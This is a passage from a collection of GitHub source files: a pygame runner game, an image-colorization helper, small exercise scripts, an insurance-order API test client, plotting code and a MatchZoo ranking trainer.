pygame.MOUSEBUTTONDOWN:\r\n mouse_x, mouse_y = pygame.mouse.get_pos()\r\n check_over_button(mouse_x,mouse_y,screen,settings,obs,obs2,prisoner,grounds,over_b,top)\r\n \r\ndef check_keydown(event,prisoner,grounds,settings,obs,obs2,over_b,screen):\r\n\r\n if event.key == pygame.K_SPACE and not settings.jump_descent:\r\n \r\n settings.jump_flag = True\r\n prisoner.animation_flag = True\r\n settings.jump_type = True\r\n settings.jump_sound.set_volume(0.6)\r\n #settings.jump_sound.play()\r\n \r\n if event.key == pygame.K_LSHIFT and not settings.jump_descent:\r\n \r\n settings.jump_flag = True\r\n prisoner.animation_flag = True\r\n settings.jump_type = False\r\n settings.decrease_ground = True\r\n settings.ground_speed *= 1.50\r\n settings.jump_sound.set_volume(0.6)\r\n #settings.jump_sound.play()\r\n settings.decrease = settings.ground_speed - settings.ground_speed/1.50\r\n \r\n \r\ndef check_over_button(mouse_x,mouse_y,screen,settings,obs,obs2,prisoner,grounds,over_b,top):\r\n \r\n if over_b.rect.collidepoint(mouse_x, mouse_y) and not settings.game_active:\r\n grounds.empty()\r\n obs.empty()\r\n obs2.empty()\r\n settings.__init__()\r\n ground = Ground(settings,screen)\r\n grounds.add(ground)\r\n for ground in grounds.copy():\r\n prisoner.rect.bottom = ground.rect.top\r\n top.__init__(settings,screen)\r\n pygame.mixer.music.load(\"Sounds/Gaur.mp3\")\r\n pygame.mixer.music.set_volume(0.3)\r\n pygame.mixer.music.play(-1)\r\n \r\n \r\ndef check_keyup(event,prisoner,grounds,settings):\r\n\r\n if event.key == pygame.K_SPACE:\r\n \r\n if prisoner.jump_speed > 0:\r\n settings.jump_sound.fadeout(2000)\r\n settings.jump_flag = False\r\n settings.jump_descent = True\r\n settings.jump_type = True\r\n \r\n if event.key == pygame.K_LSHIFT:\r\n \r\n if prisoner.jump_speed > 0:\r\n settings.jump_sound.fadeout(2000)\r\n settings.jump_flag = False\r\n settings.jump_descent = True\r\n settings.jump_type = True\r\n \r\n if settings.decrease_ground:\r\n \r\n settings.ground_speed -= settings.decrease\r\n settings.decrease_ground = False\r\n \r\n \r\ndef update_ground(settings,screen,grounds):\r\n\r\n screen_rect = screen.get_rect()\r\n grounds.update(settings)\r\n \r\n for ground in grounds.copy():\r\n \r\n if ground.rect.right < 0:\r\n grounds.remove(ground)\r\n \r\n if ground.rect.right < screen_rect.right:\r\n \r\n if len(grounds) == 1:\r\n \r\n random_number = randint(0,3)\r\n if random_number == settings.store_n:\r\n random_number = randint(0,3)\r\n new_ground = Ground(settings,screen)\r\n new_ground.index = random_number\r\n settings.store_n = random_number\r\n \r\n new_ground.x = screen_rect.right-30\r\n grounds.add(new_ground)\r\n \r\ndef increase_diff(settings,grounds,settingsP):\r\n \r\n settings.diff_score += 1\r\n if settings.diff_score > 3000:\r\n \r\n settings.ground_speed += 2\r\n for setting in settingsP:\r\n setting.prisoner_animation_speed *= 0.70\r\n settings.diff_score = 0\r\n settings.ob_number += 1\r\n\r\n \r\ndef player_object_collisions(prisoner,obs,settings):\r\n \r\n if pygame.sprite.spritecollideany(prisoner, obs, pygame.sprite.collide_mask):\r\n \r\n settings.death_sound.set_volume(0.1)\r\n settings.death_sound.play()\r\n \r\n filename = \"score.json\"\r\n total_score = settings.score\r\n try:\r\n with open(filename) as f_obj:\r\n Top_score = json.load(f_obj)\r\n if total_score > Top_score:\r\n with open(filename,\"w\") as f_obj:\r\n json.dump(total_score,f_obj)\r\n Top_score = total_score\r\n \r\n \r\n except FileNotFoundError:\r\n with open(filename,\"w\") as f_obj:\r\n json.dump(total_score,f_obj)\r\n Top_score = total_score\r\n \r\n return True\r\n \r\n \r\n \r\ndef generate_obstacle(settings,obs,grounds,screen):\r\n\r\n random_number = randint(1,settings.spawn_chance)\r\n \r\n if not settings.ob_flag:\r\n \r\n settings.ob_timer += 1\r\n \r\n if settings.ob_timer > settings.ob_limit:\r\n \r\n settings.ob_flag = True\r\n settings.ob_timer = 0\r\n \r\n \r\n if settings.ob_flag:\r\n \r\n settings.ob_timer_spawn += 1\r\n \r\n if settings.ob_timer_spawn > settings.ob_limit_spawn:\r\n \r\n settings.ob_timer_spawn = 0\r\n random_number = 1\r\n \r\n if random_number == 1 and settings.ob_flag:\r\n \r\n settings.ob_flag = False\r\n create_obstacle(settings,obs,grounds,screen)\r\n \r\ndef create_obstacle(settings,obs,grounds,screen):\r\n \r\n random_number2 = randint(settings.ob_number-2,settings.ob_number)\r\n for x in range(1,random_number2):\r\n \r\n ob = Obstacles(settings,screen,grounds)\r\n random_number = randint(0,len(ob.images)-1)\r\n ob.index = random_number\r\n \r\n ob.pick_obstacle(grounds)\r\n \r\n if x != 1:\r\n if x != random_number2:\r\n random_offset = randint(-20,20)\r\n ob.x += settings.previous_position + random_offset\r\n settings.previous_position += ob.rect.width\r\n obs.append(ob)\r\n settings.previous_position = 0\r\n \r\ndef generate_obstacle2(settings,obs2,grounds,screen):\r\n\r\n random_number2 = randint(1,settings.spawn_chance)\r\n \r\n if not settings.ob_flag2:\r\n \r\n settings.ob_timer2 += 1\r\n \r\n if settings.ob_timer2 > settings.ob_limit2:\r\n \r\n settings.ob_flag2 = True\r\n settings.ob_timer2 = 0\r\n \r\n if random_number2 == 1 and settings.ob_flag2:\r\n \r\n settings.ob_flag2 = False\r\n create_obstacle2(settings,obs2,grounds,screen)\r\n \r\ndef create_obstacle2(settings,obs2,grounds,screen):\r\n \r\n random_number3 = randint(settings.ob_number2-2,settings.ob_number2)\r\n for x in range(1,random_number3):\r\n \r\n ob2 = Obstacles2(settings,screen,grounds)\r\n random_number4 = randint(0,len(ob2.images)-1)\r\n ob2.index = random_number4\r\n \r\n ob2.pick_obstacle(grounds)\r\n \r\n if x != 1:\r\n if x != random_number3:\r\n random_offset2 = randint(-40,40)\r\n ob2.x += settings.previous_position2 + random_offset2\r\n settings.previous_position2 += ob2.rect.width\r\n obs2.add(ob2)\r\n settings.previous_position2 = 0\r\n\r\ndef update_screen(settingsP,grounds,prisoners,obs,text,screen,background,obs2,top,settings):\r\n\r\n background.blit()\r\n \r\n for ob2 in obs2.sprites():\r\n ob2.blitme()\r\n \r\n if len(prisoners) > 0:\r\n for prisoner in prisoners:\r\n if len(obs) > 0:\r\n pygame.draw.line(screen, (255,0,0), (prisoner.rect.centerx,prisoner.rect.centery), (obs[0].x,obs[0].rect.bottom),2)\r\n pygame.draw.line(screen, (255,0,0), (prisoner.rect.centerx,prisoner.rect.centery), (obs[0].rect.centerx,obs[0].rect.top),2)\r\n pygame.draw.line(screen, (255,0,0), (prisoner.rect.centerx,prisoner.rect.centery), (obs[-1].x,obs[-1].rect.bottom),2)\r\n pygame.draw.line(screen, (255,0,0), (prisoner.rect.centerx,prisoner.rect.centery), (obs[-1].rect.centerx,obs[-1].rect.top),2)\r\n \r\n for ground in grounds.sprites():\r\n ground.blitme()\r\n \r\n for ob in obs:\r\n ob.blitme()\r\n \r\n for x,prisoner in enumerate(prisoners):\r\n prisoner.blitme(settingsP[x],grounds)\r\n \r\n if settings.game_active:\r\n settings.score += 1\r\n text.update_score(settings,screen)\r\n top.blitme()\r\n ","repo_name":"FrancescoJimenez/AIGames","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":9100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"25160630899","text":"__author__ = \"Łukasz Wierzbicki\"\n__version__ = \"1.0.0\"\n__maintainer__ = \"Łukasz Wierzbicki\"\n__email__ = \"01113202@pw.edu.pl\"\n\nimport numba\nimport numpy as np\n\nfrom colorization_program.src.colorization_algorithm.colorization_using_optimization.image.neighbor_solver import \\\n NeighborSolver\n\n\nclass NeighborOptimizedSolver(NeighborSolver):\n\n def __init__(self):\n super().__init__()\n self._WINDOW_WIDTH = 3\n\n def find_neighbors(self, center, y_channel):\n center = np.array(center, dtype=np.float32)\n return find_neighbors_optimized(y_channel, center, self._WINDOW_WIDTH)\n\n\n@numba.jit(nopython=True, cache=True, fastmath=True, nogil=True)\ndef find_neighbors_optimized(y_channel, center, window_width):\n neighbors = []\n image_rows = y_channel.shape[0]\n image_cols = y_channel.shape[1]\n window_r_min = max(0, center[0] - window_width)\n window_r_max = min(image_rows, center[0] + window_width + 1)\n window_c_min = max(0, center[1] - window_width)\n window_c_max = min(image_cols, center[1] + window_width + 1)\n for r in range(window_r_min, window_r_max):\n for c in range(window_c_min, window_c_max):\n if r == center[0] and c == center[1]:\n continue\n else:\n neighbors.append((r, c, y_channel[r, c]))\n return np.array(neighbors)\n","repo_name":"lwierzb1/mgr","sub_path":"py/colorization_program/src/colorization_algorithm/colorization_using_optimization/image/neighbor_optimized_solver.py","file_name":"neighbor_optimized_solver.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39755279788","text":"l1=[]\r\nset1=set()\r\nfor i in str1:\r\n if i not in set1:\r\n set1.add(i)\r\n l1.append(i)\r\n\r\nstr2=\"\"\r\nfor i in range(len(l1)):\r\n str2=str2+l1[i]\r\nprint(str2)\r\n","repo_name":"adityas47/IP-LP3-SUBMISSION-PYTHON","sub_path":"IP_LP3_Python_Aditya_Sadashiv_2516/question-5.py","file_name":"question-5.py","file_ext":"py","file_size_in_byte":172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"44"} +{"seq_id":"20377585029","text":"f = open('./2022/Day_06/input.txt', 'r')\nlines = [line.strip('\\n') for line in f]\nf.close()\n\nfor line in lines:\n window = 14\n for i in range(len(line)-window-1):\n if len(set(line[i:window+i])) == window:\n print(window+i)\n break\n ","repo_name":"mjordandotinfo/AdventOfCoding","sub_path":"2022/Day_06/day6_part2.py","file_name":"day6_part2.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"14551437586","text":"import random\r\npi =[]\r\npy1 =[]\r\npy2 =[]\r\nfor x in range(1,10):\r\n pi.append(str(x)+\"♠\")\r\n pi.append(str(x)+\"♦\")\r\n pi.append(str(x)+\"♥\")\r\n pi.append(str(x)+\"♣\")\r\nclass Deck:\r\n def __init__(self,card_number):\r\n self.number = card_number\r\n def drew(self):\r\n x=pi[random.randrange(52)]\r\n print(str(self.number)+x)\r\n pi.remove(x)\r\nclass Player:\r\n def __init__(self,player_number):\r\n self.number = player_number\r\n def drew(self):\r\n x=pi[random.randrange(0,39)]\r\n print(str(self.number)+x)\r\n pi.remove(x)\r\nPlayer1 = Player(\"mew\")\r\nPlayer2 = Player(\"x\")\r\npy1.append(Player1.drew())\r\npy2.append(Player2.drew())\r\npy1.append(Player1.drew())\r\npy2.append(Player2.drew())\r\nprint(py1)\r\nprint(py2)\r\n\r\n\r\n ","repo_name":"mewpk/Python_Hamster-Hub","sub_path":"project1/p25.py","file_name":"p25.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"38988282778","text":"import math\r\n\r\ndef quadratic_root(a,b,c):\r\n discriminant=b*b-(4*a*c)\r\n if discriminant<0:\r\n print(\"No root of this equation\")\r\n val=math.sqrt(discriminant)/(2*a)\r\n root1=-b/(2*a)+val\r\n root2=-b/(2*a)-val\r\n if root1==root2:\r\n print(f\"The root of this equation is : {int(root1)}\")\r\n else:\r\n print(f\"The roots of this equation are : {int(root1)} and {int(root2)}\")\r\n\r\nquadratic_root(1,-7,12)\r\n ","repo_name":"vraj151-coder/DSA-Python","sub_path":"numberTheory/extra_questions/quadratic_root.py","file_name":"quadratic_root.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"31264348496","text":"from setuptools import setup, find_namespace_packages\n\nwith open('requirements/base.txt') as f:\n requirements = f.read().splitlines()\n\nwith open('README.md') as f:\n readme = f.read()\n\nwith open('VERSION') as f:\n version = f.read().strip()\n\nsetup(\n name='phq-kafka-python',\n version=version,\n description='Wrapper and utils around confluent-python-kafka',\n long_description=readme,\n long_description_content_type='text/markdown',\n author='PredictHq',\n author_email='developers@predicthq.com',\n url='https://github.com/predicthq/predicthq-kafka-python',\n install_requires=requirements,\n packages=find_namespace_packages(include=['phq.*']),\n classifiers=[\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n ]\n)\n","repo_name":"predicthq/phq-kafka-python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70265137732","text":"#-*-coding:utf-8-*- \nfrom selenium import webdriver\nimport requests\nimport time,datetime\nimport base64\nfrom page_obj.host_api import *\nclass Order():\n def __init__(self,s):\n self.session = s\n # 填写表单内容\n def order_post(self,project_name,project_location,month,productId=1,orderId=\"\"):\n time_start = time.time()+86400 # 获取时间戳\n # 获取month个月后的时间\n unix = datetime.datetime.now().replace(month=int(datetime.datetime.now().strftime('%m')) + month)\n time_end = int(time.mktime(unix.timetuple())) # 转化为时间戳\n url=host+\"/jgx/client/order/begin\"\n h = {\n \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1\",\n \"Content-Type\": \"application/json\",\n \"Connection\": \"keep-alive\",\n \"Accept-Encoding\": \"gzip, deflate, br\"\n # \"Cookie\":\"sid=442gtsadk9smvaq3xwwdvtguh84dmtm3\"\n }\n body={\n \"data\":{\n \"name\": \"黄军平\",\n \"coi\": \"44522419920316155X\",\n \"origin_insured\": time_start,\n \"cycle_insured\": 3,\n \"deadline_insured\":time_end,\n \"construction_name\": project_name,\n \"construction_local\": project_location,\n \"billing_way\": 1,\n \"billing_base\": 200000,\n \"billing_percent\": 2000000,\n \"billing_price\": 30000000,\n \"dead_cost\": \"2000\",\n \"hury_cost\": \"3000\",\n \"hostipal_cost\": \"4000\",\n \"phone\": \"\",\n \"agreement\": 1,\n \"productId\": productId,\n \"orderId\":orderId\n }\n }\n r=self.session.post(url,json=body,headers=h)\n data = r.json()\n # 获取订单编号\n order_id = str(data[\"data\"][\"orderId\"])\n return order_id\n # 获取七牛key和token\n def order_key_token(self,order_id):\n url = host+\"/jgx/client/order/examine/\"+order_id\n h = {\n \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1\",\n \"Content-Type\": \"application/json\",\n \"Connection\": \"keep-alive\",\n \"Accept-Encoding\": \"gzip, deflate, br\"\n # \"Cookie\":\"sid=442gtsadk9smvaq3xwwdvtguh84dmtm3\"\n }\n r = self.session.post(url,headers=h)\n data = r.json()\n key = data[\"data\"][\"key\"]\n token = data[\"data\"][\"token\"]\n # key转base64\n base_key = base64.b64encode(key.encode('iso-8859-15'))\n # base64转utf-8\n str_key = base_key.decode('utf-8')\n return (str_key,token)\n # 上传图片\n def order_img(self, key, token, img_base64,img_url):\n # 上传图片地址\n url =\"http://upload-z2.qiniup.com/putb64/-1/key/\"+key\n h = {\n # \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1\",\n # \"Cookie\":\"sid=442gtsadk9smvaq3xwwdvtguh84dmtm3\"\n 'Content-Type': \"application/x-www-form-urlencoded\",\n \"Authorization\": \"UpToken \" + token,\n \"Host\": 'up-z2.qiniu.com',\n }\n body = img_base64\n r = self.session.post(url, data=body, headers=h)\n img_data = r.json()\n img_url.append(img_data[\"data\"][\"url\"])\n return img_url\n # 提交订单\n def order_end(self,orderId,examine_pics):\n url = host+\"/jgx/client/order/verify\"\n h = {\n \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1\",\n \"Content-Type\": \"application/json\",\n \"Connection\": \"keep-alive\",\n \"Accept-Encoding\": \"gzip, deflate, br\"\n }\n body = {\n \"data\": {\n \"orderId\": orderId,\n \"examine_pics\":examine_pics\n }\n }\n r = self.session.post(url, json=body, headers=h)\n return r.json()\nif __name__ == \"__main__\":\n from page_obj.login_api import *\n s=requests.session()\n login = Login(s)\n login.login_post('god', 'bhs@mangohm') # 登录\n order=Order(s) # 下单\n order_id=order.order_post(\"爱情公寓5\",\"有米大楼44\",5,3) # 保单填写 并获取订单id\n with open(\"../test_data/order_img/123.png\", \"rb\") as f: # 图片转base64\n img_base64 = base64.b64encode(f.read())\n with open(\"../test_data/order_img/1234.png\", \"rb\") as f: # 图片转base64\n img_base64_2 = base64.b64encode(f.read())\n token_key=order.order_key_token(order_id) # 获取七牛的token和key\n key1=token_key[0]\n token1=token_key[1]\n token_key = order.order_key_token(order_id) # 获取七牛的token和key\n key2=token_key[0]\n token2=token_key[1]\n img_url = [] # 存图片url\n order.order_img(key1, token1, img_base64,img_url) # 上传图片\n order.order_img(key2, token2, img_base64_2,img_url) # 上传图片\n print(img_url)\n res=order.order_end(order_id, img_url) # 保单完成\n print(res[\"data\"][\"orderId\"]) #获取订单号\n\n\n\n\n\n # 时间戳转为时间\n # print(datetime.datetime.fromtimestamp(t2))\n\n","repo_name":"chaofandashi/jiangongxian","sub_path":"page_obj/order_api.py","file_name":"order_api.py","file_ext":"py","file_size_in_byte":5785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"25768568125","text":"import pandas as pd\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\nimport statistics as st\nimport itertools as it\n\n\"\"\"Plot ROC by differents Kernels\"\"\"\n\nroot = {\n \"root\": \"/home/barbara/Documents/DIFACQUIM/PPI_classifier/phase-1/Databases/morgan2/\"\n}\n\n\nclass PlotSimilarity:\n def __init__(self, files):\n self.files = files\n print(self.files)\n\n def data(self):\n libraries = list()\n plot_data = dict()\n for i in files:\n db = pd.read_csv(i, index_col=\"Unnamed: 0\")\n # print(db.head())\n # print(db.columns)\n sim = np.array(db.sim)\n y = np.array(db.y)\n _ = db.library.loc[0]\n print(db.library.loc[0])\n libraries.append(_)\n print(libraries)\n plot_data[_] = {\"sim\": sim, \"y\": y}\n self.libraries = libraries\n print(plot_data)\n return plot_data\n\n def plot_sim(self, colors):\n plot_data = self.data()\n fig = plt.figure()\n lw = 2\n libraries = self.libraries\n for i in range(len(libraries)):\n print(libraries[i])\n plt.plot(\n plot_data[libraries[i]][\"sim\"],\n plot_data[libraries[i]][\"y\"],\n color=colors[i],\n lw=lw,\n linestyle=\"-\",\n label=libraries[i],\n )\n plt.xlim([0.0, 1.01])\n plt.ylim([0.0, 1.01])\n plt.xlabel(\"Similarity\")\n plt.ylabel(\"CDF\")\n plt.title(\"Diversity Analysis\")\n plt.legend(loc=\"lower right\", ncol=1, shadow=False, fancybox=False)\n plt.show()\n # plt.savefig(\"div_analysis.png\")\n fig.savefig(\"plot.png\")\n\n\n###Define variables ###\n# files is a list list with individual database files\n# colors is a list with the nessesary number of colors for each database\nfiles = [\"MACCS_Tanimoto_BIOFACQUIM2V_.csv\", \"MACCS_Tanimoto_NUBBE2V_.csv\"]\ncolors = [\"mediumvioletred\", \"forestgreen\"]\n\n# Execute plot\na = PlotSimilarity(files)\na.plot_sim(colors)\n\n","repo_name":"BarbaraDiazE/DataScienceForChemist","sub_path":"Python_for_Data_Visualization_Matplotlib/plot_div_analysis_MATPLOTLIB/plot_sim_MATPLOLIB.py","file_name":"plot_sim_MATPLOLIB.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"17962384487","text":"# -*- coding: utf-8 -*-\n\"\"\"\n给定一个包含 n 个整数的数组 nums，判断 nums 中是否存在三个元素 a，b，c ，使得 a + b + c = 0 ？找出所有满足条件且不重复的三元组。\n\n注意：答案中不可以包含重复的三元组。\n\n例如, 给定数组 nums = [-1, 0, 1, 2, -1, -4]，\n\n满足要求的三元组集合为：\n[\n [-1, 0, 1],\n [-1, -1, 2]\n]\n\n思路： 双指针\n@author: xiaozuo\n\"\"\"\n\n\nclass Solution(object):\n def threeSum(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n\n nums.sort() # 排序\n res = []\n for i in range(len(nums)):\n if i > 0 and nums[i] == nums[i - 1]: # 去重\n continue\n # 双指针\n l = i + 1\n r = len(nums) - 1\n while l < r:\n s = nums[i] + nums[l] + nums[r]\n if s == 0:\n res.append([nums[i], nums[l], nums[r]])\n l += 1\n r -= 1\n while l < r and nums[l] == nums[l - 1]: # 避免相同值\n l += 1\n while r > l and nums[r] == nums[r + 1]:\n r -= 1\n elif s > 0:\n r -= 1\n else:\n l += 1\n return res\n\nif __name__ == '__main__':\n sol = Solution()\n nums = [-2, 0, 1, 1, 2]\n print(sol.threeSum(nums=nums))","repo_name":"xiaozuo7/algorithm_python","sub_path":"leetcode_三数之和.py","file_name":"leetcode_三数之和.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19937129713","text":"import os\nimport numpy as np\nimport pandas as pd\nimport matchzoo as mz\nfrom bs4 import BeautifulSoup as bs\nfrom core.util import text, query_dict\nfrom config.config import MODEL_DUMP, MODEL_TYPE, TOPIC, FULLTEXT_PMC, PUBMED_FETCH, PUBMED_DUMP_DATE\n\n\ndef dense_preprocess(train_raw, task):\n preprocessor = mz.preprocessors.BasicPreprocessor()\n preprocessor.fit(train_raw)\n train_processed = preprocessor.transform(train_raw)\n model = mz.models.DenseBaseline()\n model.params['task'] = task\n model.params.update(preprocessor.context)\n model.guess_and_fill_missing_params(verbose=0)\n model.params['mlp_num_fan_out'] = 30\n return train_processed, model\n\n\ndef drmm_preprocess(train_raw, task, embed_out_dim):\n preprocessor = mz.preprocessors.BasicPreprocessor(fixed_length_left=10,\n fixed_length_right=100,\n remove_stop_words=False)\n preprocessor.fit(train_raw)\n train_processed = preprocessor.transform(train_raw)\n bin_size = 30\n model = mz.models.DRMM()\n model.params.update(preprocessor.context)\n model.params['input_shapes'] = [[10, ], [10, bin_size, ]]\n model.params['task'] = task\n model.params['mask_value'] = 0\n model.params['embedding_output_dim'] = embed_out_dim\n model.params['mlp_num_layers'] = 1\n model.params['mlp_num_units'] = 10\n model.params['mlp_num_fan_out'] = 1\n model.params['mlp_activation_func'] = 'tanh'\n model.params['optimizer'] = 'adadelta'\n\n return train_processed, preprocessor, model\n\n\ndef train(topic_number, embedding, model_type='drmm'):\n\n task = mz.tasks.Ranking()\n train_raw = train_data(topic_number)\n\n if model_type == 'dense':\n train_processed, model = dense_preprocess(train_raw, task)\n if model.params.completed():\n model.build()\n model.compile()\n x, y = train_processed.unpack()\n model.fit(x, y, batch_size=32, epochs=5)\n if not os.path.exists(os.path.join(MODEL_DUMP, MODEL_TYPE)):\n os.makedirs(os.path.join(MODEL_DUMP, MODEL_TYPE))\n model.save(os.path.join(MODEL_DUMP, MODEL_TYPE, str(topic_number)))\n\n if model_type == 'drmm':\n # glove_embedding = mz.datasets.embeddings.load_glove_embedding(dimension=300)\n train_processed, preprocessor, model = drmm_preprocess(train_raw, task, embed_out_dim=embedding.output_dim)\n\n if model.params.completed():\n model.build()\n model.compile()\n embedding_matrix = embedding.build_matrix(preprocessor.context['vocab_unit'].state['term_index'])\n # normalize the word embedding for fast histogram generating.\n l2_norm = np.sqrt((embedding_matrix * embedding_matrix).sum(axis=1))\n embedding_matrix = embedding_matrix / l2_norm[:, np.newaxis]\n model.load_embedding_matrix(embedding_matrix)\n hist_callback = mz.data_generator.callbacks.Histogram(embedding_matrix,\n bin_size=30,\n hist_mode='LCH')\n train_generator = mz.DataGenerator(train_processed,\n mode='point',\n num_dup=5,\n num_neg=10,\n batch_size=20,\n callbacks=[hist_callback])\n history = model.fit_generator(train_generator,\n epochs=30,\n workers=30,\n use_multiprocessing=True)\n\n if not os.path.exists(os.path.join(MODEL_DUMP, MODEL_TYPE)):\n os.makedirs(os.path.join(MODEL_DUMP, MODEL_TYPE))\n model.save(os.path.join(MODEL_DUMP, MODEL_TYPE, str(topic_number)))\n\n\ndef get_model_and_data(topic_number, d_pack_test, model_type, embedding):\n\n if model_type == 'dense':\n # load model\n model = mz.load_model(os.path.join(MODEL_DUMP, MODEL_TYPE, str(topic_number)))\n\n # prepare preprocessor\n train_raw = train_data(topic_number)\n preprocessor = mz.preprocessors.BasicPreprocessor()\n preprocessor.fit(train_raw)\n\n # transform document data\n test_processed = preprocessor.transform(d_pack_test)\n test_x, test_y = test_processed.unpack()\n\n if model_type == 'drmm':\n # load model\n model = mz.load_model(os.path.join(MODEL_DUMP, MODEL_TYPE, str(topic_number)))\n task = mz.tasks.Ranking()\n train_raw = train_data(topic_number)\n preprocessor = mz.preprocessors.BasicPreprocessor(fixed_length_left=10,\n fixed_length_right=100,\n remove_stop_words=False)\n preprocessor.fit(train_raw)\n\n test_processed = preprocessor.transform(d_pack_test)\n embedding_matrix = embedding.build_matrix(preprocessor.context['vocab_unit'].state['term_index'])\n # normalize the word embedding for fast histogram generating.\n l2_norm = np.sqrt((embedding_matrix * embedding_matrix).sum(axis=1))\n embedding_matrix = embedding_matrix / l2_norm[:, np.newaxis]\n model.load_embedding_matrix(embedding_matrix)\n hist_callback = mz.data_generator.callbacks.Histogram(embedding_matrix,\n bin_size=30,\n hist_mode='LCH')\n test_generator = mz.DataGenerator(data_pack=test_processed, mode='point',\n callbacks=[hist_callback])\n test_x, test_y = test_generator[:]\n\n return model, test_x\n\n\ndef test_data(topic_number, cord_uids, query, meta, msp):\n text_left = []\n id_left = []\n text_right = []\n id_right = []\n label = []\n for cord_uid in cord_uids:\n sha = meta[meta['cord_uid'] == cord_uid]['sha'].values[0]\n path = msp[sha]\n with open(path, 'r') as open_file:\n txt = text(open_file.read())\n id_left.append(str(topic_number))\n text_left.append(query)\n id_right.append(cord_uid)\n text_right.append(txt)\n label.append(0)\n\n df = pd.DataFrame(data={'text_left': text_left,\n 'id_left': id_left,\n 'text_right': text_right,\n 'id_right': id_right,\n 'label': label})\n\n return mz.pack(df)\n\n\ndef train_data(topic_train):\n queries = query_dict(TOPIC)\n\n text_left = []\n id_left = []\n text_right = []\n id_right = []\n label = []\n\n for k, v in queries.items():\n file_path = os.path.join(PUBMED_FETCH, PUBMED_DUMP_DATE, str(k)+'.xml')\n with open(file_path, 'r') as input:\n soup = bs(input.read(), 'lxml')\n\n if FULLTEXT_PMC:\n articles = soup.find('pmc-articleset').find_all('article')\n for article in articles:\n pbmid_str = article.find(\"article-id\", {\"pub-id-type\": \"pmc\"}).text.replace('\\n', ' ').strip()\n txt = ''\n abstract = article.abstract\n if abstract:\n txt = abstract.text.replace('\\n', ' ').strip(' ')\n sections = article.find_all('sec')\n titles = article.find_all('article-title')\n\n for title in titles:\n title_text = title.text.replace('\\n', ' ').strip(' ')\n ''.join([txt, ' ', title_text])\n for section in sections:\n section_text = section.text.replace('\\n', '').strip(' ')\n ''.join([txt, ' ', section_text])\n\n rel = (1 if k == str(topic_train) else 0)\n id_left.append(str(k))\n text_left.append(v)\n id_right.append(pbmid_str)\n text_right.append(txt)\n label.append(rel)\n\n else:\n articles = soup.find_all('pubmedarticle')\n for article in articles:\n pbmid = article.find('articleid', {\"idtype\": \"pubmed\"})\n pbmid_str = pbmid.text.replace('\\n', '').strip()\n abstract = article.find('abstract')\n if abstract is None:\n continue\n else:\n abstract_text = abstract.text.replace('\\n', '')\n\n title = article.articletitle.text.replace('\\n', '').strip()\n txt = title + abstract_text\n\n rel = (1 if k == str(topic_train) else 0)\n id_left.append(str(k))\n text_left.append(v)\n id_right.append(pbmid_str)\n text_right.append(txt)\n label.append(rel)\n\n df = pd.DataFrame(data={'text_left': text_left,\n 'id_left': id_left,\n 'text_right': text_right,\n 'id_right': id_right,\n 'label': label})\n\n return mz.pack(df)","repo_name":"irgroup/trec-covid","sub_path":"scripts/core/clf_mz.py","file_name":"clf_mz.py","file_ext":"py","file_size_in_byte":9515,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"3309742156","text":"from main_model import main_model\nimport argparse\n\nPose_protoFile = \"./model/coco/pose_deploy_linevec.prototxt\"\nPose_weightsFile = \"./model/coco/pose_iter_440000.caffemodel\"\nFer_model_path = \"model/Expression/FER_model.h5\"\nActorPath = \".\\photo\"\nVedioPath = \"./videos/3.mp4\"\nparser = argparse.ArgumentParser(description='Run keypoint detection')\nparser.add_argument(\"--device\", default=\"gpu\", help=\"Device to inference on\")\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n name = [\"\"]\n main_model = main_model(name, Pose_protoFile, Pose_weightsFile, args, ActorPath)\n main_model.predict(VedioPath)\n","repo_name":"YottabyteM/Movie-Character-Recognition","sub_path":"project/Final_Movie_Edition/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"20961788464","text":"import torch\n#torch.set_default_dtype(torch.float16)\n\n#import evaluate\nfrom sft.summarize_dataset import create_summarization_dataset, TLDRDataset\nfrom transformers import (\n 